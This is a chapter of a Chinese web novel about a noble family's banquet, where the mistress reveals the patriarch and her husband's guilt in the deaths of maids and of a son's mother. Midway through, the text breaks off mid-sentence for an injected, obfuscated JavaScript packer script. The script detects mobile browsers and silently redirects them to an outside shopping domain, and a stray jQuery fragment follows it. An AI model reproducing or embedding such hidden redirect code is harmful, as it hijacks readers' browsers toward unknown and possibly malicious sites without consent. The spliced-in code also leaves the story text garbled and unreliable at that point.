文趣网 > 都市小说 > 只恐夜深花不睡 > 34. 潘雪
    门被推开,溪云先走进来。

    她今日穿得极素,豆绿色比甲,发髻挽得一丝不乱。低着头,端着一只青瓷酒壶,她慢慢走到檀渡山身侧站定,低着头替他续酒。

    酒壶微倾,她的手有些微微颤动,只是没有人注意。

    海棠跟在她身后进来的。她今日打扮得寻常。一身青襦裙,素银簪,低发髻,素净无华。但没有人能落下她,这身打扮衬得她那张脸愈发夺目。

    她的裙摆擦过门槛,进门后她没有看任何人,只微微垂首走到温红芬与崔妈妈之间站定。

    像是一个真正的普通侍女。

    檀照风想到此处,眸色瞬间黯淡下来。

    檀渡山的手在玉盏上停了一瞬,他不明白海棠搞这一出是为了什么。

    难道真是只为了温红芬或是那个叫翠月的丫头的复仇?

    “老爷,你说,我美不美?”

    温红芬的声音在这时候响起来,清脆温婉。只听她的语气还以为就是长辈在饭桌上说些普通的家常闲话。

    但听清楚话的内容,檀仁表愣住了。

    他略带心虚地收回黏在海棠身上的视线,抬头看向温红芬,见她正笑吟吟地望着自己。

    那笑容太熟悉了,檀仁表以为她又旧态复萌,吃他的醋,于是干笑两声,道,“夫人自然是美的。”

    因着心虚,他又补了一句,“这满府上下,谁能越过夫人的美貌去。”

    “夫人当年可是艳冠京华。”

    檀泓行轻轻咳嗽了一下,檀仁表缩了一下脖子,知道自己在晚辈面前有些失言。

    温红芬却不管,自顾自点了点头,像是对他的这个回答很满意。然后她偏过头,看向站在一旁的海棠,问檀仁表:

    “那你说,她美不美?”

    檀仁表没想到,干笑像融化又风干的蜡油僵在了他的脸上。

    他下意识看向海棠。

    檀照风拧着眉头,和檀渡山也都一同看向了海棠。

    海棠低着头,看不见眉眼,可那一截露出来的脖颈,白得像竖长的瓷瓶秀美动人。何况,身姿窈窕挺拔,即便在厅里,周身气韵仍浑然天成,独一份的清艳妩媚。

    只消一眼,叫人再挪不开目光。

    檀仁表想起了上次自己差点的手段光景,心里恼恨,咬牙出声:

    “美!”

    檀照风厌恶地看了他一眼,不再看这个他名义上的父亲。

    温红芬却不急不恼,反而又点了点头,然后慢悠悠地转过头,目光越过檀照风,望向窗外黑沉沉的夜色,轻声说:

    “那潘雪呢?”

    满厅寂静。

    檀仁表的脸色刷地白了。

    檀照风猛然抬起头,他几乎以为自己听错了,这个久远的再没有出现在他耳边的名字。

    他的娘亲的名字。

    大概是太过惊讶,好像连桌上的烛火都因此忽闪着矮了两分。

    “夫人……”檀仁表张了张嘴,声音却干涩得要裂开,“好好的家宴,提这些……这些旧事做什么?”

    温红芬看着他,眼里有一种叫人毛骨悚然的平静:

    “旧事?这才过去多少年,怎么就成了旧事。”

    檀仁表猛地拍了一下桌面,震得碗碟叮当作响:“你到底要干什么!”

    谁都能看出他恼了。

    可他恼得心虚,连拍桌子的那只手,都在微微发抖。

    “我明白老爷。”温红芬忽然又笑了,伸手提起酒壶,亲自给他满上一杯,“爱美之心,人皆有之。老爷年轻时俊秀风流,见一个爱一个,我懂。潘雪也好,我也好,如今这满院子的姬妾也好,老爷只是……喜欢美好的东西罢了。”

    她说这话时,声音软得不像话,像是打心底里认可檀仁表的心事。

    檀仁表的怒气被这柔软堵在胸口,发不出来,也咽不下去。

    “只是——”

    温红芬的话锋轻轻一转,“小和那丫头都还未到豆蔻,翠月才长开没几个月,就因为老爷的这点‘爱美之心’,就年纪轻轻命丧九泉么?”

    “老爷?”

    她轻轻地询问,却让檀仁表整个人都僵住了。

    他的眼睛猛地睁大,脸上的血色以肉眼可见的速度褪去。他想说什么,嘴唇哆嗦着,却只发出几个含混的音节。

    他艰难地转过头,看向檀泓行。

    本不欲理会二人纠缠的檀泓行终于睁开了眼。

    他没有看檀仁表,只淡淡扫过温红芬一眼,然后严肃开口:

    “不像样子!”

    “好好的一顿家宴,先是翻旧账,再是胡言乱语。你这个当家主母,就是这样照顾一家和气的?”

    檀泓行的目光又缓缓转向檀仁表,像看一堆烂泥:

    “你也有脸坐着?自己的后宅管束不严,闹出这些风言风语。一个丫头也好,两个也罢,我们檀家难道还少这几个伺候的人?

    该抚恤的抚恤,该安置的安置。你可是堂堂侯爷的父亲,把心思给我放在正事上!”

    檀仁表被骂得抬不起头,只一个劲地“是”。

    檀照风愣在原地,檀渡山一口一口喝着酒,檀泓行看着二人,接着说道,“你们做儿孙的,要记得,万事以檀家为先,以檀家的体面为先。日后你们各有了妻室,更得记着这个道理。家和万事兴。”

    话说得颇为语重心长。

    一副掏心掏力的大家长作态。

    且不待人回应,他接着扫了一眼温红芬,意有所指地说道,“果然古话说得不错。娶妻娶色不如娶贤。好好的孩子,可别叫教小家子气了。”

    檀照风忽然嗤笑一声。

    声音虽轻,可在座的人都听得分明。

    他抬起头,看着檀泓行,嘴角那点弧度似有若无,眼里的光却是冷的:“老太爷说得好。一家和气,万事以檀家为先。只是她也是人,她们也是人。

    只用‘风言风语’四个字,就能把她们为人的尊重都抹去了吗?”

    檀泓行脸色微沉。

    他还没来得及开口,温红芬忽然站了起来,动作大得带翻了手边的酒盏。酒水泼出来,在桌上摊开一团暗色。

    檀泓行的话又岂止刺激了一个人,温红芬的心被他那句“家和万事兴”戳得流血,什么檀家后辈,什么家和。

    她只要她的山儿还在。

    她一步一步走向檀渡山,在檀渡山面前站定,俯下身,两手撑在桌沿上,她盯着他,乌黑的眼珠里有烛火的光在跳跃,“那你是我的山儿吗?”

    檀渡山慢慢地放下酒杯。

    他没有回答,只是看着她,面上挂着一丝惯常的浅笑。

    那笑容放在此刻,愈发看起来像一张面具。

    “母亲又病发了。”

    他抬起手,把温红芬轻轻挥到一边去。

    他的力道不重,温红芬却踉跄着退了两步,若不是崔妈妈及时扶住,险些跌倒在地。

    檀渡山根本不在乎温红芬站没站稳,只是余光注意着海棠的反应。

    海棠一动不

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17940868|213915||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    动,他便觉得无趣,补了一句道,“母亲今日还是早些回房休息吧。这样的日子,说这些疯话,实在不太妥当。”

    他表面说得关心,实则谁都能听出其中的厌烦敷衍。

    檀仁表回过神,见温红芬还要挣扎着起来,又看檀泓行面色阴沉,心知再这样下去,自己也要被拖下水。

    他咬咬牙,站起来对温红芬低喝:

    “够了你!好好的一场家宴给你搅成了什么样子!来人,夫人身子不适,扶她回房!”

    门外没有人敢进来。

    崔妈妈和溪云一左一右扶着温红芬,却也没有往门口走。

    温红芬借着她们的手慢慢站直了,鬓发散了几缕,她看着檀渡山,眼里的那点柔和再也没有。

    她慢慢转头,看向檀照风,眼里涌上了一种极复杂的情绪,她说,“你母亲,是我害死的。”

    檀照风握着膝盖的手猛地收紧了。

    但他没有看她。

    温红芬说下去的声音像从喉咙里一点一点挤出来的,时隔多年,连她自己也不知道该从何说起:

    “当年,你母亲怀着你,檀仁表对我许了诺,说会让我做正妻。我信了他。你母亲死后,我才知道,他对她说,是我勾引他,拿尽了不堪的话编排我。

    他两个都骗。骗你母亲,让她到死都恨我;骗我,让我到死都恨你母亲。”

    檀照风的手指开始发颤。

    “可她也不只是我害死的。”温红芬接着说,“是檀仁表骗她,把她扔在西跨院里自生自灭。我承认,我处处针对她,这府里的冷眼我起了头。可她真正病倒,是檀仁表去她那儿越来越少,最后连你出生,他都没有在院子外面站过一刻。”

    “她给你留了东西,你早就看过对不对?”

    温红芬直直地看着檀照风。

    从听到檀泓行和檀仁表的对话后,这些时日,足够她查清楚很多的事情了。

    “一封短笺。母亲临死前写的,托她身边的人偷偷塞给我。”

    他停了一下。

    “上面只有两句话。”

    “‘别信你父亲,别学你父亲。’”

    他闭上了眼睛,又重新睁开,“我知道,我全都知道。可那又怎么样?这府里,有谁在乎我知不知道。”

    温红芬的眼泪终于掉了下来。

    她一直以为自己此生不会被原谅,也不配被原谅。可当檀照风说出“我全都知道”的时候,她才意识到她还不如这个孩子。

    这么多年她步步紧逼,这孩子却从来没有多说什么,和潘雪一样。

    檀仁表面色难看到了极点,所有的体面都被撕碎,他不知道温红芬究竟要闹什么。

    檀泓行看着这一场闹剧,心里也在计算时间,不知道翠月的尸体究竟有没有找到。

    就在此刻,门外传来了急促而稳的脚步声。

    灰衣人从暗处走入烛光里,走到檀泓行身侧,弯腰附耳,低低说了几句。

    檀泓行的脸色也随之一点一点沉下去。

    他缓缓站起身,鹤氅从椅上滑落,他谁也没有看,只沉沉地开口:

    “温红芬,你好大的胆子。”

    他看向温红芬的眼里是毫不遮掩的真切杀意。

    温红芬抬手擦了一把脸上的泪,笑了。

    “我何止胆子大。”她笑得满脸都是泪,口脂抹在颊上,像一道道血痕,“檀泓行,你做的那些事,天打雷劈都偿不过来。檀仁表、你、清辉堂里的那个东西,你们都给山儿陪葬!”